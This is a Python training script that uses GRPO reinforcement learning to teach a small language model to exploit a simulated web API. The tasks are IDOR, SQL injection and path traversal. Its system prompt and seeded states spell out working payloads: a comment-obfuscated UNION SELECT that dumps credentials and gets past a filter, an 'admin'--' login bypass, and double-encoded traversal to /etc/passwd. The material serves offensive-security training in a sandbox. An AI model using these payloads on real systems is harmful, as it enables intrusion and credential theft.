# ================================================================
# BugHunterEnv — GRPO Training Script
# Trains a small LLM to find web vulnerabilities via RL
#
# Compatible with Google Colab (T4 GPU, ~15GB VRAM)
#
# Setup (run once in Colab):
#   !pip install -q "unsloth[colab-new]" trl>=0.16 datasets
#   !pip install -q flask werkzeug requests openenv-core
#   !git clone <your-hf-space-repo> && cd BugHuntEnvironment
# ================================================================

import os, sys, json, re, time, threading
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))

import torch
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from datasets import Dataset
from unsloth import FastLanguageModel
from trl import GRPOTrainer, GRPOConfig

from server.bug_hunter_env_environment import BugHunterEnvEnvironment

# ── Hyperparameters ───────────────────────────────────────────
# Gemma 4 variants (pick based on available VRAM):
#   unsloth/gemma-4-4b-it   ~4GB in 4-bit  → T4 (15GB), comfortable
#   unsloth/gemma-4-12b-it  ~8GB in 4-bit  → T4 tight, A100 preferred
#   unsloth/gemma-4-27b-it  ~18GB in 4-bit → A100 40GB+
MODEL_NAME        = "unsloth/gemma-4-4b-it"
MAX_SEQ_LEN       = 768
LORA_RANK         = 16
NUM_GENERATIONS   = 4       # completions per prompt for GRPO
TRAINING_STEPS    = 80      # ~25 min on T4
BATCH_SIZE        = 2       # prompts per gradient step
EVAL_EPISODES     = 3       # episodes per task for before/after eval
OUTPUT_DIR        = "./grpo_bughunter"

# ── System prompt ─────────────────────────────────────────────
SYSTEM_PROMPT = """\
You are a penetration tester auditing a corporate API for security vulnerabilities.
At each step you send exactly ONE HTTP request. Format:
  METHOD PATH [JSON_BODY]

Examples:
  GET /api/users
  GET /api/search?q=' UNION/**/SELECT 1,username,password,role FROM users--
  POST /api/login {"username": "admin'--", "password": "x"}
  GET /api/files?name=..%252fetc%252fpasswd

Rules:
- METHOD is GET or POST
- PATH starts with /
- BODY is JSON only for POST
- No explanation — output only the request line\
"""

# ── Seeded training states ────────────────────────────────────
# Each state represents a specific point in an attack chain.
# pre_actions seeds the environment to that point, then the model's
# action is evaluated and rewarded. This gives dense learning signal
# at each decision point rather than only at episode end.
SEEDED_STATES = [
    # ── IDOR ──────────────────────────────────────────────────
    {
        "task": "idor",
        "pre_actions": [],
        "obs": "HTTP 200\nTask: Retrieve admin HR data (SSN + salary).\nEndpoints: GET /api/users  GET /api/users/<id>  POST /api/login",
        "hint": "Start by listing users at /api/users to discover IDs.",
    },
    {
        "task": "idor",
        "pre_actions": [("GET", "/api/users", None)],
        "obs": 'HTTP 200\n[{"id":1,"username":"admin","role":"admin"},{"id":2,"username":"alice","role":"user"},{"id":3,"username":"bob","role":"user"}]',
        "hint": "Users listed. Probe /api/users/<id> without auth to check for IDOR — try id=1 (admin).",
    },
    {
        "task": "idor",
        "pre_actions": [("GET", "/api/users", None), ("GET", "/api/users/2", None)],
        "obs": 'HTTP 200\n{"id":2,"username":"alice","ssn":"234-56-7890","salary":75000}',
        "hint": "IDOR confirmed — sensitive data returned without auth. Now target the admin (id=1).",
    },
    # ── SQL Injection ──────────────────────────────────────────
    {
        "task": "sqli",
        "pre_actions": [],
        "obs": "HTTP 200\nTask: Extract admin credentials via SQL injection.\nEndpoints: GET /api/search?q=<query>  POST /api/login",
        "hint": "Probe /api/search with a single quote to test for SQL injection errors.",
    },
    {
        "task": "sqli",
        "pre_actions": [("GET", "/api/search?q='", None)],
        "obs": 'HTTP 500\n{"error":"OperationalError: unrecognized token: \\\"\'\\\""}',
        "hint": "SQL error — endpoint is injectable. Try UNION extraction. WAF blocks 'UNION SELECT', use UNION/**/SELECT bypass.",
    },
    {
        "task": "sqli",
        "pre_actions": [
            ("GET", "/api/search?q='", None),
            ("GET", "/api/search?q=test UNION SELECT 1,2,3--", None),
        ],
        "obs": 'HTTP 403\n{"error":"Request blocked by security filter"}',
        "hint": "WAF blocks 'UNION SELECT'. Use inline comment bypass: GET /api/search?q=' UNION/**/SELECT/**/1,username,password,role/**/FROM/**/users--",
    },
    {
        "task": "sqli",
        "pre_actions": [
            ("GET", "/api/search?q='", None),
            ("GET", "/api/search?q=test UNION SELECT 1,2,3--", None),
            ("GET", "/api/search?q=' UNION/**/SELECT 1,2,3--", None),
        ],
        "obs": 'HTTP 200\n{"results":[],"count":0}',
        "hint": "WAF bypassed! Column count is 4. Extract user data: GET /api/search?q=' UNION/**/SELECT 1,username,password,role FROM users--",
    },
    # ── Path Traversal ─────────────────────────────────────────
    {
        "task": "path_traversal",
        "pre_actions": [],
        "obs": "HTTP 200\nTask: Read a sensitive server file. /api/files requires admin — escalate via SQLi on /api/login first.",
        "hint": "Authenticate first. POST /api/login is vulnerable to SQLi: {\"username\": \"admin'--\", \"password\": \"x\"}",
    },
    {
        "task": "path_traversal",
        "pre_actions": [
            ("POST", "/api/login", '{"username":"alice","password":"alice123"}'),
        ],
        "obs": 'HTTP 200\n{"status":"success","username":"alice","role":"user"}',
        "hint": "Logged in as user. Check /api/files — admin access is required. Escalate via SQLi: POST /api/login {\"username\": \"admin'--\", \"password\": \"x\"}",
    },
    {
        "task": "path_traversal",
        "pre_actions": [
            ("POST", "/api/login", '{"username":"alice","password":"alice123"}'),
            ("GET", "/api/files", None),
            ("POST", "/api/login", '{"username":"admin\'--","password":"x"}'),
        ],
        "obs": 'HTTP 200\n{"status":"success","username":"admin","role":"admin"}',
        "hint": "Admin session active. List files at /api/files, then attempt path traversal.",
    },
    {
        "task": "path_traversal",
        "pre_actions": [
            ("POST", "/api/login", '{"username":"alice","password":"alice123"}'),
            ("GET", "/api/files", None),
            ("POST", "/api/login", '{"username":"admin\'--","password":"x"}'),
            ("GET", "/api/files", None),
            ("GET", "/api/files?name=../etc/passwd", None),
        ],
        "obs": 'HTTP 403\n{"error":"Invalid path: directory traversal not allowed"}',
        "hint": "Literal '../' blocked. Flask auto-decodes %2f so single-encoding fails too. Use double-encoding: /api/files?name=..%252fetc%252fpasswd",
    },
]


# ── Helpers ───────────────────────────────────────────────────

class _Action:
    def __init__(self, method, path, body):
        self.method = method
        self.path = path
        self.body = body


def parse_action(text: str):
    for line in text.strip().splitlines():
        line = line.strip()
        if not line:
            continue
        parts = line.split(None, 1)
        if len(parts) < 2:
            continue
        m = parts[0].upper()
        if m not in ("GET", "POST"):
            continue
        rest = parts[1].strip()
        if m == "GET":
            p, b = rest, None
        else:
            sub = rest.split(None, 1)
            p = sub[0]
            b = sub[1] if len(sub) > 1 else None
        if p.startswith("/"):
            return _Action(m, p, b)
    return None


def build_messages(state: dict) -> list:
    user_content = f"{state['obs']}\nHint: {state['hint']}\n\nWhat is your next request?"
    return [
        {"role": "system",    "content": SYSTEM_PROMPT},
        {"role": "user",      "content": user_content},
    ]


# ── Reward function ───────────────────────────────────────────

def compute_reward(state_idx: int, completion: str) -> float:
    state = SEEDED_STATES[state_idx]
    env = BugHunterEnvEnvironment()
    try:
        env.reset(task_id=state["task"])
        for m, p, b in state["pre_actions"]:
            env.step(_Action(m, p, b))
        action = parse_action(completion)
        if action is None:
            return -0.3
        obs = env.step(action)
        return float(obs.reward)
    except Exception:
        return -0.2
    finally:
        env.close()


def reward_fn(completions: list, state_idx=None, **kwargs) -> list:
    if state_idx is None:
        state_idx = [0] * len(completions)
    return [compute_reward(int(idx), c) for idx, c in zip(state_idx, completions)]


# ── Evaluation ────────────────────────────────────────────────

def run_episode(model, tokenizer, task_id: str) -> float:
    max_steps = {"idor": 10, "sqli": 15, "path_traversal": 20}[task_id]
    env = BugHunterEnvEnvironment()
    try:
        obs = env.reset(task_id=task_id)
        history = []

        for step in range(max_steps):
            if obs.done:
                break

            history_block = "\n".join(history[-4:])
            user_content = (
                f"HTTP {obs.status_code}\n{obs.body[:600]}"
                + (f"\nHint: {obs.hint}" if obs.hint else "")
                + (f"\n\nHistory:\n{history_block}" if history_block else "")
                + "\n\nWhat is your next request?"
            )
            messages = [
                {"role": "system", "content": SYSTEM_PROMPT},
                {"role": "user",   "content": user_content},
            ]
            text = tokenizer.apply_chat_template(
                messages, tokenize=False, add_generation_prompt=True
            )
            inputs = tokenizer(text, return_tensors="pt").to("cuda")
            with torch.no_grad():
                out = model.generate(
                    **inputs, max_new_tokens=64,
                    temperature=0.4, do_sample=True,
                    pad_token_id=tokenizer.eos_token_id,
                )
            response = tokenizer.decode(
                out[0][inputs["input_ids"].shape[1]:], skip_special_tokens=True
            )
            action = parse_action(response)
            if action is None:
                break
            obs = env.step(action)
            history.append(f"[{step+1:02d}] {action.method} {action.path} -> {obs.status_code} r={obs.reward:+.3f}")

        return env.get_grade()
    finally:
        env.close()


def evaluate(model, tokenizer, n: int = EVAL_EPISODES) -> dict:
    FastLanguageModel.for_inference(model)
    results = {}
    for task_id in ("idor", "sqli", "path_traversal"):
        grades = [run_episode(model, tokenizer, task_id) for _ in range(n)]
        results[task_id] = round(sum(grades) / len(grades), 3)
        print(f"  {task_id:20s}  grades={grades}  avg={results[task_id]:.3f}")
    FastLanguageModel.for_training(model)
    return results


# ── Main ──────────────────────────────────────────────────────

def main():
    # ── 1. Load model ──────────────────────────────────────────
    print("=" * 60)
    print("BugHunterEnv — GRPO Training")
    print("=" * 60)
    print(f"\nLoading {MODEL_NAME} ...")

    model, tokenizer = FastLanguageModel.from_pretrained(
        model_name=MODEL_NAME,
        max_seq_length=MAX_SEQ_LEN,
        load_in_4bit=True,
        dtype=None,
    )
    model = FastLanguageModel.get_peft_model(
        model,
        r=LORA_RANK,
        target_modules=["q_proj", "k_proj", "v_proj", "o_proj",
                        "gate_proj", "up_proj", "down_proj"],
        lora_alpha=LORA_RANK,
        lora_dropout=0,
        bias="none",
        use_gradient_checkpointing="unsloth",
        random_state=42,
    )

    # ── 2. Baseline evaluation ─────────────────────────────────
    print(f"\n[1/4] Baseline evaluation ({EVAL_EPISODES} episodes/task) ...")
    baseline = evaluate(model, tokenizer)
    print(f"Baseline: {baseline}")

    # ── 3. Build dataset ───────────────────────────────────────
    print("\n[2/4] Building training dataset ...")
    dataset = Dataset.from_dict({
        "prompt":    [build_messages(s) for s in SEEDED_STATES],
        "state_idx": list(range(len(SEEDED_STATES))),
    })
    print(f"  {len(dataset)} seeded states across 3 tasks")

    # ── 4. GRPO training ───────────────────────────────────────
    print(f"\n[3/4] GRPO training — {TRAINING_STEPS} steps ...")

    config = GRPOConfig(
        output_dir=OUTPUT_DIR,
        num_train_epochs=1,
        max_steps=TRAINING_STEPS,
        per_device_train_batch_size=BATCH_SIZE,
        num_generations=NUM_GENERATIONS,
        max_completion_length=80,
        learning_rate=5e-6,
        warmup_steps=5,
        logging_steps=5,
        save_steps=TRAINING_STEPS,
        temperature=0.9,
        report_to="none",
        remove_unused_columns=False,
    )

    FastLanguageModel.for_training(model)
    trainer = GRPOTrainer(
        model=model,
        reward_funcs=[reward_fn],
        args=config,
        train_dataset=dataset,
        processing_class=tokenizer,
    )
    trainer.train()

    step_rewards = [
        entry["reward"]
        for entry in trainer.state.log_history
        if "reward" in entry
    ]
    print(f"  Collected {len(step_rewards)} reward log entries")

    # ── 5. Post-training evaluation ────────────────────────────
    print(f"\n[4/4] Post-training evaluation ({EVAL_EPISODES} episodes/task) ...")
    final = evaluate(model, tokenizer)
    print(f"Final:    {final}")

    # ── 6. Save model ──────────────────────────────────────────
    model.save_pretrained(os.path.join(OUTPUT_DIR, "lora_weights"))
    tokenizer.save_pretrained(os.path.join(OUTPUT_DIR, "lora_weights"))
    print(f"  Model saved to {OUTPUT_DIR}/lora_weights")

    # ── 7. Plot ────────────────────────────────────────────────
    fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(13, 5))
    fig.suptitle("BugHunterEnv — GRPO Training Results", fontsize=14, fontweight="bold")

    if step_rewards:
        window = max(1, len(step_rewards) // 10)
        smoothed = [
            sum(step_rewards[max(0, i - window):i + 1]) / len(step_rewards[max(0, i - window):i + 1])
            for i in range(len(step_rewards))
        ]
        ax1.plot(step_rewards, alpha=0.3, color="steelblue", label="Raw")
        ax1.plot(smoothed, color="steelblue", linewidth=2, label="Smoothed")
        ax1.axhline(0, color="gray", linestyle="--", linewidth=0.8)
        ax1.set_xlabel("Training Step")
        ax1.set_ylabel("Step Reward")
        ax1.set_title("Training Reward Curve")
        ax1.legend()
        ax1.grid(True, alpha=0.3)
    else:
        ax1.text(0.5, 0.5, "No reward logs captured", ha="center", va="center",
                 transform=ax1.transAxes, fontsize=12, color="gray")
        ax1.set_title("Training Reward Curve")

    tasks      = list(baseline.keys())
    task_names = ["IDOR", "SQL Injection", "Path Traversal"]
    x = range(len(tasks))
    bars_before = ax2.bar([i - 0.2 for i in x], [baseline[t] for t in tasks],
                          width=0.38, label="Before Training", color="#e07070")
    bars_after  = ax2.bar([i + 0.2 for i in x], [final[t] for t in tasks],
                          width=0.38, label="After Training",  color="#5b9bd5")
    for bar in bars_before:
        h = bar.get_height()
        ax2.text(bar.get_x() + bar.get_width() / 2, h + 0.02, f"{h:.2f}",
                 ha="center", va="bottom", fontsize=9)
    for bar in bars_after:
        h = bar.get_height()
        ax2.text(bar.get_x() + bar.get_width() / 2, h + 0.02, f"{h:.2f}",
                 ha="center", va="bottom", fontsize=9)
    ax2.set_xticks(list(x))
    ax2.set_xticklabels(task_names)
    ax2.set_ylabel("Task Grade (0 – 1.0)")
    ax2.set_title("Task Performance: Before vs After")
    ax2.set_ylim(0, 1.25)
    ax2.legend()
    ax2.grid(True, alpha=0.3, axis="y")

    plt.tight_layout()
    out_path = os.path.join(OUTPUT_DIR, "training_results.png")
    os.makedirs(OUTPUT_DIR, exist_ok=True)
    plt.savefig(out_path, dpi=150, bbox_inches="tight")
    print(f"\nPlot saved: {out_path}")

    # ── 8. Print summary ───────────────────────────────────────
    print("\n" + "=" * 50)
    print("SUMMARY")
    print("=" * 50)
    print(f"{'Task':<22} {'Before':>8} {'After':>8} {'Delta':>8}")
    print("-" * 50)
    total_delta = 0
    for task, name in zip(tasks, task_names):
        delta = final[task] - baseline[task]
        total_delta += delta
        sign = "+" if delta >= 0 else ""
        print(f"{name:<22} {baseline[task]:>8.3f} {final[task]:>8.3f} {sign}{delta:>7.3f}")
    print("-" * 50)
    avg_delta = total_delta / len(tasks)
    sign = "+" if avg_delta >= 0 else ""
    print(f"{'Average':<22} {sum(baseline.values())/len(tasks):>8.3f} {sum(final.values())/len(tasks):>8.3f} {sign}{avg_delta:>7.3f}")


if __name__ == "__main__":
    main()